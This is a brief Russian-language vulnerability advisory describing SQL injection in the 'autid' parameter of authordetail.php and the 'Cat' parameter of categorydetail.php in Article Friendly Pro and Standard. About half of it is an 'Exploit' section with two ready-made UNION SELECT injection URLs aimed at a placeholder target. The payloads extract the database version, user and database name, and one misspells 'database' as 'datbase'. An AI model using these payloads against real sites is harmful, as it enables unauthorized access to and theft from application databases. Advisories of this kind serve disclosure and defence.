Программа: Article Friendly Pro/Standard
Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «autid» сценарием authordetail.php и в
параметре «Cat» сценарием categorydetail.php. Удаленный пользователь может с
помощью специально сформированного запроса выполнить произвольные SQL команды в
базе данных приложения.
Эксплоит:
Article Friendly Pro:
www.Target.com/authordetail.php?autid=-1'+union+select+0,0,0,
CONCAT_WS(0x3a,@@version,user(),datbase),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0/*
Article Friendly Standard:
www.Target.com/categorydetail.php?Cat=1'+and+1=0+union+select+0, CONCAT_WS(0x3a,@@version,user(),datbase),0,0,0,0,0,0/*
